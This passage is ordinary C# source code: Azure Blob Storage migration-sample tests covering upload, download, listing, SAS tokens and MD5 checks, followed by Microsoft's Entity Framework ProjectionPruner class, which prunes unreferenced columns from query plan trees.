connectionString = this.ConnectionString; string containerName = Randomize("sample-container"); // use extra variable so the snippet gets variable declarations but we still get the try/finally var containerClientTracker = new BlobServiceClient(connectionString).GetBlobContainerClient(containerName); try { #region Snippet:SampleSnippetsBlobMigration_CreateContainerShortcut BlobServiceClient blobServiceClient = new BlobServiceClient(connectionString); BlobContainerClient containerClient = await blobServiceClient.CreateBlobContainerAsync(containerName); #endregion // pass if success containerClient.GetProperties(); } finally { await containerClientTracker.DeleteIfExistsAsync(); } } [Test] public async Task UploadBlob() { string data = "hello world"; BlobContainerClient containerClient = new BlobContainerClient(ConnectionString, Randomize("sample-container")); try { await containerClient.CreateAsync(); string blobName = Randomize("sample-blob"); string localFilePath = this.CreateTempPath(); FileStream fs = File.OpenWrite(localFilePath); var bytes = Encoding.UTF8.GetBytes(data); await fs.WriteAsync(bytes, 0, bytes.Length); await fs.FlushAsync(); fs.Close(); #region Snippet:SampleSnippetsBlobMigration_UploadBlob BlobClient blobClient = containerClient.GetBlobClient(blobName); await blobClient.UploadAsync(localFilePath, overwrite: true); #endregion Stream downloadStream = (await blobClient.DownloadAsync()).Value.Content; string downloadedData = await new StreamReader(downloadStream).ReadToEndAsync(); downloadStream.Close(); Assert.AreEqual(data, downloadedData); } finally { await containerClient.DeleteIfExistsAsync(); } } [Test] public async Task DownloadBlob() { string data = "hello world"; //setup blob string containerName = Randomize("sample-container"); string blobName = Randomize("sample-file"); var containerClient = new BlobContainerClient(ConnectionString, containerName); string downloadFilePath = this.CreateTempPath(); try { containerClient.Create(); containerClient.GetBlobClient(blobName).Upload(new MemoryStream(Encoding.UTF8.GetBytes(data))); #region Snippet:SampleSnippetsBlobMigration_DownloadBlob BlobClient blobClient = containerClient.GetBlobClient(blobName); await blobClient.DownloadToAsync(downloadFilePath); #endregion FileStream fs = File.OpenRead(downloadFilePath); string downloadedData = await new StreamReader(fs).ReadToEndAsync(); fs.Close(); Assert.AreEqual(data, downloadedData); } finally { await containerClient.DeleteIfExistsAsync(); } } [Test] public async Task DownloadBlobDirectStream() { string data = "hello world"; // setup blob string containerName = Randomize("sample-container"); string blobName = Randomize("sample-file"); var containerClient = new BlobContainerClient(ConnectionString, containerName); try { containerClient.Create(); containerClient.GetBlobClient(blobName).Upload(new MemoryStream(Encoding.UTF8.GetBytes(data))); // tools to consume stream while looking good in the sample snippet string downloadedData = null; async Task MyConsumeStreamFunc(Stream stream) { downloadedData = await new StreamReader(stream).ReadToEndAsync(); } #region Snippet:SampleSnippetsBlobMigration_DownloadBlobDirectStream BlobClient blobClient = containerClient.GetBlobClient(blobName); BlobDownloadInfo downloadResponse = await blobClient.DownloadAsync(); using (Stream downloadStream = downloadResponse.Content) { await MyConsumeStreamFunc(downloadStream); } #endregion Assert.AreEqual(data, downloadedData); } finally { await containerClient.DeleteIfExistsAsync(); } } [Test] public async Task ListBlobs() { string data = "hello world"; string containerName = Randomize("sample-container"); var containerClient = new BlobContainerClient(ConnectionString, containerName); try { containerClient.Create(); HashSet<string> blobNames = new HashSet<string>(); foreach (var _ in Enumerable.Range(0, 10)) { string blobName = Randomize("sample-blob"); containerClient.GetBlobClient(blobName).Upload(new MemoryStream(Encoding.UTF8.GetBytes(data))); blobNames.Add(blobName); } // tools to consume blob listing while looking good in the sample snippet HashSet<string> downloadedBlobNames = new HashSet<string>(); void MyConsumeBlobItemFunc(BlobItem item) { downloadedBlobNames.Add(item.Name); } #region Snippet:SampleSnippetsBlobMigration_ListBlobs IAsyncEnumerable<BlobItem> results = containerClient.GetBlobsAsync(); await foreach (BlobItem item in results) { MyConsumeBlobItemFunc(item); } #endregion Assert.IsTrue(blobNames.SetEquals(downloadedBlobNames)); } finally { await containerClient.DeleteIfExistsAsync(); } } [Test] public async Task ListBlobsManual() { string data = "hello world"; string containerName = Randomize("sample-container"); var containerClient = new BlobContainerClient(ConnectionString, containerName); try { containerClient.Create(); HashSet<string> blobNames = new HashSet<string>(); foreach (var _ in Enumerable.Range(0, 10)) { string blobName = Randomize("sample-blob"); containerClient.GetBlobClient(blobName).Upload(new MemoryStream(Encoding.UTF8.GetBytes(data))); blobNames.Add(blobName); } // tools to consume blob listing while looking good in the sample snippet HashSet<string> downloadedBlobNames = new HashSet<string>(); void MyConsumeBlobItemFunc(BlobItem item) { downloadedBlobNames.Add(item.Name); } #region Snippet:SampleSnippetsBlobMigration_ListBlobsManual // set this to already existing continuation token to pick up where you previously left off string initialContinuationToken = null; AsyncPageable<BlobItem> results = containerClient.GetBlobsAsync(); IAsyncEnumerable<Page<BlobItem>> pages = results.AsPages(initialContinuationToken); // the foreach loop requests the next page of results every loop // you do not need to explicitly access the continuation token just to get the next page // to stop requesting new pages, break from the loop // you also have access to the contination token returned with each page if needed await foreach (Page<BlobItem> page in pages) { // process page foreach (BlobItem item in page.Values) { MyConsumeBlobItemFunc(item); } // access continuation token if desired string continuationToken = page.ContinuationToken; } #endregion Assert.IsTrue(blobNames.SetEquals(downloadedBlobNames)); } finally { await containerClient.DeleteIfExistsAsync(); } } [Test] public async Task ListBlobsHierarchy() { string data = "hello world"; string virtualDirName = Randomize("sample-virtual-dir"); string containerName = Randomize("sample-container"); var containerClient = new BlobContainerClient(ConnectionString, containerName); try { containerClient.Create(); foreach (var blobName in new List<string> { "foo.txt", "bar.txt", virtualDirName + "/fizz.txt", virtualDirName + "/buzz.txt" }) { containerClient.GetBlobClient(blobName).Upload(new MemoryStream(Encoding.UTF8.GetBytes(data))); } var expectedBlobNamesResult = new HashSet<string> { "foo.txt", "bar.txt" }; // tools to consume blob listing while looking good in the sample snippet HashSet<string> downloadedBlobNames = new HashSet<string>(); HashSet<string> downloadedPrefixNames = new HashSet<string>(); void MyConsumeBlobItemFunc(BlobHierarchyItem item) { if (item.IsPrefix) { downloadedPrefixNames.Add(item.Prefix); } else { downloadedBlobNames.Add(item.Blob.Name); } } // show in snippet where the prefix goes, but our test doesn't want a prefix for its data set string blobPrefix = null; #region Snippet:SampleSnippetsBlobMigration_ListHierarchy IAsyncEnumerable<BlobHierarchyItem> results = containerClient.GetBlobsByHierarchyAsync(prefix: blobPrefix); await foreach (BlobHierarchyItem item in results) { MyConsumeBlobItemFunc(item); } #endregion Assert.IsTrue(expectedBlobNamesResult.SetEquals(downloadedBlobNames)); Assert.IsTrue(new HashSet<string> { virtualDirName }.SetEquals(downloadedPrefixNames)); } finally { await containerClient.DeleteIfExistsAsync(); } } [Test] public async Task SasBuilder() { string accountName = StorageAccountName; string accountKey = StorageAccountKey; string containerName = Randomize("sample-container"); string blobName = Randomize("sample-blob"); StorageSharedKeyCredential sharedKeyCredential = new StorageSharedKeyCredential(StorageAccountName, StorageAccountKey); // setup blob var container = new BlobContainerClient(ConnectionString, containerName); try { await container.CreateAsync(); await container.GetBlobClient(blobName).UploadAsync(new MemoryStream(Encoding.UTF8.GetBytes("hello world"))); #region Snippet:SampleSnippetsBlobMigration_SasBuilder // Create BlobSasBuilder and specify parameters BlobSasBuilder sasBuilder = new BlobSasBuilder() { // with no url in a client to read from, container and blob name must be provided if applicable BlobContainerName = containerName, BlobName = blobName, ExpiresOn = DateTimeOffset.Now.AddHours(1) }; // permissions applied separately, using the appropriate enum to the scope of your SAS sasBuilder.SetPermissions(BlobSasPermissions.Read); // Create full, self-authenticating URI to the resource BlobUriBuilder uriBuilder = new BlobUriBuilder(StorageAccountBlobUri) { BlobContainerName = containerName, BlobName = blobName, Sas = sasBuilder.ToSasQueryParameters(sharedKeyCredential) }; Uri sasUri = uriBuilder.ToUri(); #endregion // successful download indicates pass await new BlobClient(sasUri).DownloadToAsync(new MemoryStream()); } finally { await container.DeleteIfExistsAsync(); } } [Test] public async Task SasBuilderIdentifier() { string accountName = StorageAccountName; string accountKey = StorageAccountKey; string containerName = Randomize("sample-container"); string blobName = Randomize("sample-blob"); StorageSharedKeyCredential sharedKeyCredential = new StorageSharedKeyCredential(StorageAccountName, StorageAccountKey); // setup blob var container = new BlobContainerClient(ConnectionString, containerName); try { await container.CreateAsync(); await container.GetBlobClient(blobName).UploadAsync(new MemoryStream(Encoding.UTF8.GetBytes("hello world"))); // Create one or more stored access policies. List<BlobSignedIdentifier> signedIdentifiers = new List<BlobSignedIdentifier> { new BlobSignedIdentifier { Id = "mysignedidentifier", AccessPolicy = new BlobAccessPolicy { StartsOn = DateTimeOffset.UtcNow.AddHours(-1), ExpiresOn = DateTimeOffset.UtcNow.AddDays(1), Permissions = "rw" } } }; // Set the container's access policy. await container.SetAccessPolicyAsync(permissions: signedIdentifiers); #region Snippet:SampleSnippetsBlobMigration_SasBuilderIdentifier // Create BlobSasBuilder and specify parameters BlobSasBuilder sasBuilder = new BlobSasBuilder() { Identifier = "mysignedidentifier" }; #endregion // Create full, self-authenticating URI to the resource BlobUriBuilder uriBuilder = new BlobUriBuilder(StorageAccountBlobUri) { BlobContainerName = containerName, BlobName = blobName, Sas = sasBuilder.ToSasQueryParameters(sharedKeyCredential) }; Uri sasUri = uriBuilder.ToUri(); // successful download indicates pass await new BlobClient(sasUri).DownloadToAsync(new MemoryStream()); } finally { await container.DeleteIfExistsAsync(); } } [Test] public async Task BlobContentHash() { string data = "hello world"; using Stream contentStream = new MemoryStream(Encoding.UTF8.GetBytes(data)); // precalculate hash for sample byte[] precalculatedContentHash; using (var md5 = MD5.Create()) { precalculatedContentHash = md5.ComputeHash(contentStream); } contentStream.Position = 0; // setup blob string containerName = Randomize("sample-container"); string blobName = Randomize("sample-file"); var containerClient = new BlobContainerClient(ConnectionString, containerName); try { containerClient.Create(); var blobClient = containerClient.GetBlobClient(blobName); #region Snippet:SampleSnippetsBlobMigration_BlobContentMD5 // upload with blob content hash await blobClient.UploadAsync( contentStream, new BlobUploadOptions() { HttpHeaders = new BlobHttpHeaders() { ContentHash = precalculatedContentHash } }); // download whole blob and validate against stored blob content hash Response<BlobDownloadInfo> response = await blobClient.DownloadAsync(); Stream downloadStream = response.Value.Content; byte[] blobContentMD5 = response.Value.Details.BlobContentHash ?? response.Value.ContentHash; // validate stream against hash in your workflow #endregion byte[] downloadedBytes; using (var memStream = new MemoryStream()) { await downloadStream.CopyToAsync(memStream); downloadedBytes = memStream.ToArray(); } Assert.AreEqual(data, Encoding.UTF8.GetString(downloadedBytes)); Assert.IsTrue(Enumerable.SequenceEqual(precalculatedContentHash, blobContentMD5)); } finally { await containerClient.DeleteIfExistsAsync(); } } [Test] public async Task TransactionalMD5() { string data = "hello world"; string blockId = Convert.ToBase64String(Guid.NewGuid().ToByteArray()); List<string> blockList = new List<string> { blockId }; using Stream blockContentStream = new MemoryStream(Encoding.UTF8.GetBytes(data)); // precalculate hash for sample byte[] precalculatedBlockHash; using (var md5 = MD5.Create()) { precalculatedBlockHash = md5.ComputeHash(blockContentStream); } blockContentStream.Position = 0; // setup blob string containerName = Randomize("sample-container"); string blobName = Randomize("sample-file"); var containerClient = new BlobContainerClient(ConnectionString, containerName); try { containerClient.Create(); var blockBlobClient = containerClient.GetBlockBlobClient(blobName); #region Snippet:SampleSnippetsBlobMigration_TransactionalMD5 // upload a block with transactional hash calculated by user await blockBlobClient.StageBlockAsync( blockId, blockContentStream, transactionalContentHash: precalculatedBlockHash); // upload more blocks as needed // commit block list await blockBlobClient.CommitBlockListAsync(blockList); // download any range of blob with transactional MD5 requested (maximum 4 MB for downloads) Response<BlobDownloadInfo> response = await blockBlobClient.DownloadAsync( range: new HttpRange(length: 4 * Constants.MB), // a range must be provided; here we use transactional download max size rangeGetContentHash: true); Stream downloadStream = response.Value.Content; byte[] transactionalMD5 = response.Value.ContentHash; // validate stream against hash in your workflow #endregion byte[] downloadedBytes; using (var memStream = new MemoryStream()) { await downloadStream.CopyToAsync(memStream); downloadedBytes = memStream.ToArray(); } Assert.AreEqual(data, Encoding.UTF8.GetString(downloadedBytes)); Assert.IsTrue(Enumerable.SequenceEqual(precalculatedBlockHash, transactionalMD5)); } finally { await containerClient.DeleteIfExistsAsync(); } } } }
//--------------------------------------------------------------------- // <copyright file="ProjectionPruner.cs" company="Microsoft"> // Copyright (c) Microsoft Corporation. All rights reserved. // </copyright> // // @owner [....] // @backupOwner [....] //--------------------------------------------------------------------- using System; using System.Collections.Generic; //using System.Diagnostics; // Please use PlanCompiler.Assert instead of Debug.Assert in this class... // It is fine to use Debug.Assert in cases where you assert an obvious thing that is supposed // to prevent from simple mistakes during development (e.g. method argument validation // in cases where it was you who created the variables or the variables had already been validated or // in "else" clauses where due to code changes (e.g. adding a new value to an enum type) the default // "else" block is chosen why the new condition should be treated separately). This kind of asserts are // (can be) helpful when developing new code to avoid simple mistakes but have no or little value in // the shipped product. // PlanCompiler.Assert *MUST* be used to verify conditions in the trees. These would be assumptions // about how the tree was built etc. - in these cases we probably want to throw an exception (this is // what PlanCompiler.Assert does when the condition is not met) if either the assumption is not correct // or the tree was built/rewritten not the way we thought it was. // Use your judgment - if you rather remove an assert than ship it use Debug.Assert otherwise use // PlanCompiler.Assert. using System.Globalization; using System.Text; using System.Linq; using md = System.Data.Metadata.Edm; using cqt = System.Data.Common.CommandTrees; using System.Data.Query.InternalTrees; namespace System.Data.Query.PlanCompiler { /// <summary> /// The ProjectionPruner module is responsible for eliminating unnecessary column /// references (and other expressions) from the query. /// /// Projection pruning logically operates in two passes - the first pass is a top-down /// pass where information about all referenced columns and expressions is collected /// (pushed down from a node to its children). /// /// The second phase is a bottom-up phase, where each node (in response to the /// information collected above) attempts to rid itself of unwanted columns and /// expressions. /// /// The two phases can be combined into a single tree walk, where for each node, the /// processing is on the lines of: /// /// - compute and push information to children (top-down) /// - process children /// - eliminate unnecessary references from myself (bottom-up) /// /// </summary> internal class ProjectionPruner : BasicOpVisitorOfNode { #region Nested Classes /// <summary> /// This class tracks down the vars that are referenced in the column map /// </summary> private class ColumnMapVarTracker : ColumnMapVisitor<VarVec> { #region public methods /// <summary> /// Find all vars that were referenced in the column map. Looks for VarRefColumnMap /// in the ColumnMap tree, and tracks those vars /// /// NOTE: The "vec" parameter must be supplied by the caller. The caller is responsible for /// clearing out this parameter (if necessary) before calling into this function /// </summary> /// <param name="columnMap">the column map to traverse</param> /// <param name="vec">the set of referenced columns</param> internal static void FindVars(ColumnMap columnMap, VarVec vec) { ColumnMapVarTracker tracker = new ColumnMapVarTracker(); columnMap.Accept<VarVec>(tracker, vec); return; } #endregion #region constructors /// <summary> /// Trivial constructor /// </summary> private ColumnMapVarTracker() : base() { } #endregion #region overrides /// <summary> /// Handler for VarRefColumnMap. Simply adds the "var" to the set of referenced vars /// </summary> /// <param name="columnMap">the current varRefColumnMap</param> /// <param name="arg">the set of referenced vars so far</param> internal override void Visit(VarRefColumnMap columnMap, VarVec arg) { arg.Set(columnMap.Var); base.Visit(columnMap, arg); } #endregion } #endregion #region private state private PlanCompiler m_compilerState; private Command m_command { get { return m_compilerState.Command; } } private VarVec m_referencedVars; // the list of referenced vars in the query #endregion #region constructor /// <summary> /// Trivial private constructor /// </summary> /// <param name="compilerState">current compiler state</param> private ProjectionPruner(PlanCompiler compilerState) { m_compilerState = compilerState; m_referencedVars = compilerState.Command.CreateVarVec(); } #endregion #region Process Driver /// <summary> /// Runs through the root node of the tree, and eliminates all /// unreferenced expressions /// </summary> /// <param name="compilerState">current compiler state</param> internal static void Process(PlanCompiler compilerState) { compilerState.Command.Root = Process(compilerState, compilerState.Command.Root); } /// <summary> /// Runs through the given subtree, and eliminates all /// unreferenced expressions /// </summary> /// <param name="compilerState">current compiler state</param> /// <param name="node">The node to be processed</param> /// <returns>The processed, i.e. transformed node</returns> internal static Node Process(PlanCompiler compilerState, Node node) { ProjectionPruner pruner = new ProjectionPruner(compilerState); return pruner.Process(node); } /// <summary> /// The real driver of the pruning process. Simply invokes the visitor over the input node /// </summary> /// <param name="node">The node to be processed</param> /// <returns>The processed node</returns> private Node Process(Node node) { return VisitNode(node); } #endregion #region misc helpers /// <summary> /// Adds a reference to this Var /// </summary> /// <param name="v"></param> private void AddReference(Var v) { m_referencedVars.Set(v); } /// <summary> /// Adds a reference to each var in a set of Vars /// </summary> /// <param name="varSet"></param> private void AddReference(IEnumerable<Var> varSet) { foreach (Var v in varSet) { AddReference(v); } } /// <summary> /// Is this Var referenced? /// </summary> /// <param name="v"></param> /// <returns></returns> private bool IsReferenced(Var v) { return m_referencedVars.IsSet(v); } /// <summary> /// Is this var unreferenced? Duh /// </summary> /// <param name="v"></param> /// <returns></returns> private bool IsUnreferenced(Var v) { return !IsReferenced(v); } /// <summary> /// Prunes a VarMap - gets rid of unreferenced vars from the VarMap inplace /// Additionally, propagates var references to the inner vars /// </summary> /// <param name="varMap"></param> private void PruneVarMap(VarMap varMap) { List<Var> unreferencedVars = new List<Var>(); // build up a list of unreferenced vars foreach (Var v in varMap.Keys) { if (!IsReferenced(v)) { unreferencedVars.Add(v); } else { AddReference(varMap[v]); } } // remove each of the corresponding entries from the varmap foreach (Var v in unreferencedVars) { varMap.Remove(v); } } /// <summary> /// Prunes a varset - gets rid of unreferenced vars from the Varset in place /// </summary> /// <param name="varSet">the varset to prune</param> private void PruneVarSet(VarVec varSet) { varSet.And(m_referencedVars); } #endregion #region Visitor Helpers /// <summary> /// Visits the children and recomputes the node info /// </summary> /// <param name="n">The current node</param> protected override void VisitChildren(Node n) { base.VisitChildren(n); m_command.RecomputeNodeInfo(n); } /// <summary> /// Visits the children in reverse order and recomputes the node info /// </summary> /// <param name="n">The current node</param> protected override void VisitChildrenReverse(Node n) { base.VisitChildrenReverse(n); m_command.RecomputeNodeInfo(n); } #endregion #region Visitor methods #region AncillaryOp Visitors /// <summary> /// VarDefListOp /// /// Walks the children (VarDefOp), and looks for those whose Vars /// have been referenced. Only those VarDefOps are visited - the /// others are ignored. /// /// At the end, a new list of children is created - with only those /// VarDefOps that have been referenced /// </summary> /// <param name="op">the varDefListOp</param> /// <param name="n">corresponding node</param> /// <returns>modified node</returns> public override Node Visit(VarDefListOp op, Node n) { // NOTE: It would be nice to optimize this to only create a new node // and new list, if we needed to eliminate some arguments, but // I'm not sure that the effort to eliminate the allocations // wouldn't be more expensive than the allocations themselves. // It's something that we can consider if it shows up on the // perf radar. // Get rid of all the children that we don't care about (ie) // those VarDefOp's that haven't been referenced List<Node> newChildren = new List<Node>(); foreach (Node chi in n.Children) { VarDefOp varDefOp = chi.Op as VarDefOp; if (IsReferenced(varDefOp.Var)) { newChildren.Add(VisitNode(chi)); } } return m_command.CreateNode(op, newChildren); } #endregion #region PhysicalOps /// <summary> /// PhysicalProjectOp /// /// Insist that all Vars in this are required /// </summary> /// <param name="op"></param> /// <param name="n"></param> /// <returns></returns> public override Node Visit(PhysicalProjectOp op, Node n) { if (n == m_command.Root) { // // Walk the column map to find all the referenced vars // ColumnMapVarTracker.FindVars(op.ColumnMap, m_referencedVars); op.Outputs.RemoveAll(IsUnreferenced); } else { AddReference(op.Outputs); } // then visit the children VisitChildren(n); return n; } /// <summary> /// NestOps /// /// Common handling for all NestOps. /// </summary> /// <param name="op"></param> /// <param name="n"></param> /// <returns></returns> protected override Node VisitNestOp(NestBaseOp op, Node n) { // Mark all vars as needed AddReference(op.Outputs); // visit children. Need to do some more actually - to indicate that all // vars from the children are really required. VisitChildren(n); return n; } /// <summary> /// SingleStreamNestOp /// /// Insist (for now) that all Vars are required /// </summary> /// <param name="op"></param> /// <param name="n"></param> /// <returns></returns> public override Node Visit(SingleStreamNestOp op, Node n) { AddReference(op.Discriminator); return VisitNestOp(op, n); } /// <summary> /// MultiStreamNestOp /// /// Insist (for now) that all Vars are required /// </summary> /// <param name="op"></param> /// <param name="n"></param> /// <returns></returns> public override Node Visit(MultiStreamNestOp op, Node n) { return VisitNestOp(op, n); } #endregion #region RelOp Visitors /// <summary> /// ApplyOps /// /// Common handling for all ApplyOps. Visit the right child first to capture /// any references to the left, and then visit the left child. /// </summary> /// <param name="op"></param> /// <param name="n">the apply op</param> /// <returns>modified subtree</returns> protected override Node VisitApplyOp(ApplyBaseOp op, Node n) { // visit the right child first, then the left VisitChildrenReverse(n); return n; } /// <summary> /// DistinctOp /// /// We remove all null and constant keys that are not referenced as long as /// there is one key left. We add all remaining keys to the referenced list /// and proceed to the inputs /// </summary> /// <param name="op">the DistinctOp</param> /// <param name="n">Current subtree</param> /// <returns></returns> public override Node Visit(DistinctOp op, Node n) { if (op.Keys.Count > 1 && n.Child0.Op.OpType == OpType.Project) { RemoveRedundantConstantKeys(op.Keys, ((ProjectOp)n.Child0.Op).Outputs, n.Child0.Child1); } AddReference(op.Keys); // mark all keys as referenced - nothing more to do VisitChildren(n); // visit the children return n; } /// <summary> /// ElementOp /// /// An ElementOp that is still present when Projection Prunning is invoked can only get introduced /// in the TransformationRules phase by transforming an apply operation into a scalar subquery. /// Such ElementOp serves as root of a defining expression of a VarDefinitionOp node and /// thus what it produces is useful. /// </summary> /// <param name="op">the ElementOp</param> /// <param name="n">Current subtree</param> /// <returns></returns> public override Node Visit(ElementOp op, Node n) { ExtendedNodeInfo nodeInfo = m_command.GetExtendedNodeInfo(n.Child0); AddReference(nodeInfo.Definitions); n.Child0 = VisitNode(n.Child0); // visit the child m_command.RecomputeNodeInfo(n); return n; } /// <summary> /// FilterOp /// /// First visit the predicate (because that may contain references to /// the relop input), and then visit the relop input. No additional /// processing is required /// </summary> /// <param name="op">the filterOp</param> /// <param name="n">current node</param> /// <returns></returns> public override Node Visit(FilterOp op, Node n) { // visit the predicate first, and then teh relop input VisitChildrenReverse(n); return n; } /// <summary> /// GroupByBase /// /// First, we visit the vardeflist for aggregates and potentially group aggregates /// as they may reference keys (including constant keys). /// Then we remove all null and constant keys that are not referenced as long as /// there is one key left. We add all remaining key columns to the referenced list. /// Then we walk through the vardeflist for the keys; and finally process the relop input /// Once we're done, we update the "Outputs" varset - to account for any /// pruned vars. The "Keys" varset will not change /// </summary> /// <param name="op">the groupbyOp</param> /// <param name="n">current subtree</param> /// <returns>modified subtree</returns> protected override Node VisitGroupByOp(GroupByBaseOp op, Node n) { // DevDiv#322980: Visit the vardeflist for aggregates and potentially group aggregates before removing // redundant constant keys. This is because they may depend on (reference) the keys for (int i = n.Children.Count - 1; i >= 2; i--) { n.Children[i] = VisitNode(n.Children[i]); } //All constant and null keys that are not referenced can be removed //as long as there is at least one key left. if (op.Keys.Count > 1) { RemoveRedundantConstantKeys(op.Keys, op.Outputs, n.Child1); } AddReference(op.Keys); // all keys are referenced //Visit the keys n.Children[1] = VisitNode(n.Children[1]); //Visit the input n.Children[0] = VisitNode(n.Children[0]); PruneVarSet(op.Outputs); // remove unnecessary vars from the outputs //SQLBUDT #543064: If there are no keys to start with // and none of the aggregates is referenced, the GroupBy // is equivalent to a SingleRowTableOp if (op.Keys.Count == 0 && op.Outputs.Count == 0) { return m_command.CreateNode(m_command.CreateSingleRowTableOp()); } m_command.RecomputeNodeInfo(n); return n; } /// <summary> /// Helper method for removing redundant constant keys from GroupByOp and DistictOp. /// It only examines the keys defined in the given varDefListNode. /// It removes all constant and null keys that are not referenced elsewhere, /// but ensuring that at least one key is left. /// It should not be called with empty keyVec. /// </summary> /// <param name="keyVec">The keys</param> /// <param name="outputVec">The var vec that needs to be updated along with the keys</param> /// <param name="varDefListNode">Var def list node for the keys </param> private void RemoveRedundantConstantKeys(VarVec keyVec, VarVec outputVec, Node varDefListNode) { //Find all the keys that are nulls and constants List<Node> constantKeys = varDefListNode.Children.Where(d => d.Op.OpType == OpType.VarDef && PlanCompilerUtil.IsConstantBaseOp(d.Child0.Op.OpType)).ToList(); VarVec constantKeyVars = this.m_command.CreateVarVec(constantKeys.Select(d => ((VarDefOp)d.Op).Var)); //Get the list of unreferenced constant keys constantKeyVars.Minus(m_referencedVars); //Remove the unreferenced constant keys keyVec.Minus(constantKeyVars); outputVec.Minus(constantKeyVars); varDefListNode.Children.RemoveAll(c => constantKeys.Contains(c) && constantKeyVars.IsSet(((VarDefOp)c.Op).Var)); //If no keys are left add one. if (keyVec.Count == 0) { Node keyNode = constantKeys.First(); Var keyVar = ((VarDefOp)keyNode.Op).Var; keyVec.Set(keyVar); outputVec.Set(keyVar); varDefListNode.Children.Add(keyNode); } } /// <summary> /// First defer to default handling for groupby nodes /// If all group aggregate vars are prunned out turn it into a GroupBy. /// </summary> /// <param name="op"></param> /// <param name="n"></param> /// <returns></returns> public override Node Visit(GroupByIntoOp op, Node n) { Node result = VisitGroupByOp(op, n); //Transform the GroupByInto into a GroupBy if all group aggregate vars were prunned out if (result.Op.OpType == OpType.GroupByInto && n.Child3.Children.Count == 0) { GroupByIntoOp newOp = (GroupByIntoOp)result.Op; result = m_command.CreateNode(m_command.CreateGroupByOp(newOp.Keys, newOp.Outputs), result.Child0, result.Child1, result.Child2); } return result; } /// <summary> /// JoinOps /// /// Common handling for all join ops. For all joins (other than crossjoin), /// we must first visit the predicate (to capture any references from it), and /// then visit the relop inputs. The relop inputs can be visited in any order /// because there can be no correlations between them /// For crossjoins, we simply use the default processing - visit all children /// ; there can be no correlations between the nodes anyway /// </summary> /// <param name="op"></param> /// <param name="n">Node for the join subtree</param> /// <returns>modified subtree</returns> protected override Node VisitJoinOp(JoinBaseOp op, Node n) { // Simply visit all children for a CrossJoin if (n.Op.OpType == OpType.CrossJoin) { VisitChildren(n); return n; } // For other joins, we first need to visit the predicate, and then the // other inputs // first visit the predicate n.Child2 = VisitNode(n.Child2); // then visit the 2 join inputs n.Child0 = VisitNode(n.Child0); n.Child1 = VisitNode(n.Child1); m_command.RecomputeNodeInfo(n); return n; } /// <summary> /// ProjectOp /// /// We visit the projections first (the VarDefListOp child), and then /// the input (the RelOp child) - this reverse order is necessary, since /// the projections need to be visited to determine if anything from /// the input is really needed. /// /// The VarDefListOp child will handle the removal of unnecessary VarDefOps. /// On the way out, we then update our "Vars" property to reflect the Vars /// that have been eliminated /// </summary> /// <param name="op">the ProjectOp</param> /// <param name="n">the current node</param> /// <returns>modified subtree</returns> public override Node Visit(ProjectOp op, Node n) { // Update my Vars - to remove "unreferenced" vars. Do this before visiting // the children - the outputs of the ProjectOp are only consumed by upstream // consumers, and if a Var has not yet been referenced, its not needed upstream PruneVarSet(op.Outputs); // first visit the computed expressions, then visit the input relop VisitChildrenReverse(n); // If there are no Vars left, then simply return my child - otherwise, // return the current node return op.Outputs.IsEmpty ? n.Child0 : n; } /// <summary> /// ScanTableOp /// /// Update the list of referenced columns /// </summary> /// <param name="op"></param> /// <param name="n"></param> /// <returns></returns> public override Node Visit(ScanTableOp op, Node n) { PlanCompiler.Assert(!n.HasChild0, "scanTable with an input?"); // no more views // update the list of referenced columns in the table op.Table.ReferencedColumns.And(m_referencedVars); m_command.RecomputeNodeInfo(n); return n; } /// <summary> /// SetOps /// /// Common handling for all SetOps. We first identify the "output" vars /// that are referenced, and mark the corresponding "input" vars as referenced /// We then remove all unreferenced output Vars from the "Outputs" varset /// as well as from the Varmaps. /// Finally, we visit the children /// </summary> /// <param name="op"></param> /// <param name="n">current node</param> /// <returns></returns> protected override Node VisitSetOp(SetOp op, Node n) { // Prune the outputs varset, except for Intersect and Except, which require // all their outputs to compare, so don't bother pruning them. if (OpType.Intersect == op.OpType || OpType.Except == op.OpType) { AddReference(op.Outputs); } PruneVarSet(op.Outputs); // Prune the varmaps. Identify which of the setOp vars have been // referenced, and eliminate those entries that don't show up. Additionally // mark all the other Vars as referenced foreach (VarMap varMap in op.VarMap) { PruneVarMap(varMap); } // Now visit the children VisitChildren(n); return n; } /// <summary> /// SortOp /// /// First visit the sort keys - no sort key can be eliminated. /// Then process the vardeflist child (if there is one) that contains computed /// vars, and finally process the relop input. As before, the computedvars /// and sortkeys need to be processed before the relop input /// </summary> /// <param name="op">the sortop</param> /// <param name="n">the current subtree</param> /// <returns>modified subtree</returns> protected override Node VisitSortOp(SortBaseOp op, Node n) { // first visit the sort keys foreach (InternalTrees.SortKey sk in op.Keys) { AddReference(sk.Var); } // next walk through all the computed expressions if (n.HasChild1) { n.Child1 = VisitNode(n.Child1); } // finally process the input n.Child0 = VisitNode(n.Child0); m_command.RecomputeNodeInfo(n); return n; } /// <summary> /// UnnestOp /// /// Marks the unnestVar as referenced, and if there /// is a child, visits the child. /// </summary> /// <param name="op">the unnestOp</param> /// <param name="n">current subtree</param> /// <returns>modified subtree</returns> public override Node Visit(UnnestOp op, Node n) { AddReference(op.Var); VisitChildren(n); // visit my vardefop - defining the unnest var(if any) return n; } #endregion #region ScalarOps Visitors // // The only ScalarOps that need special processing are // * VarRefOp: we mark the corresponding Var as referenced // * ExistsOp: We mark the (only) Var of the child ProjectOp as referenced // #region ScalarOps with special treatment /// <summary> /// VarRefOp /// /// Mark the corresponding Var as "referenced" /// </summary> /// <param name="op">the VarRefOp</param> /// <param name="n">current node</param> /// <returns></returns> public override Node Visit(VarRefOp op, Node n) { AddReference(op.Var); return n; } /// <summary> /// ExistsOp /// /// The child must be a ProjectOp - with exactly 1 var. Mark it as referenced /// </summary> /// <param name="op">the ExistsOp</param> /// <param name="n">the input node</param> /// <returns></returns> public override Node Visit(ExistsOp op, Node n) { // Ensure that the child is a projectOp, and has exactly one var. Mark // that var as referenced always ProjectOp projectOp = (ProjectOp)n.Child0.Op; //It is enougth to reference the first output, this usually is a simple constant AddReference(projectOp.Outputs.First); VisitChildren(n); return n; } #endregion #endregion #endregion } }
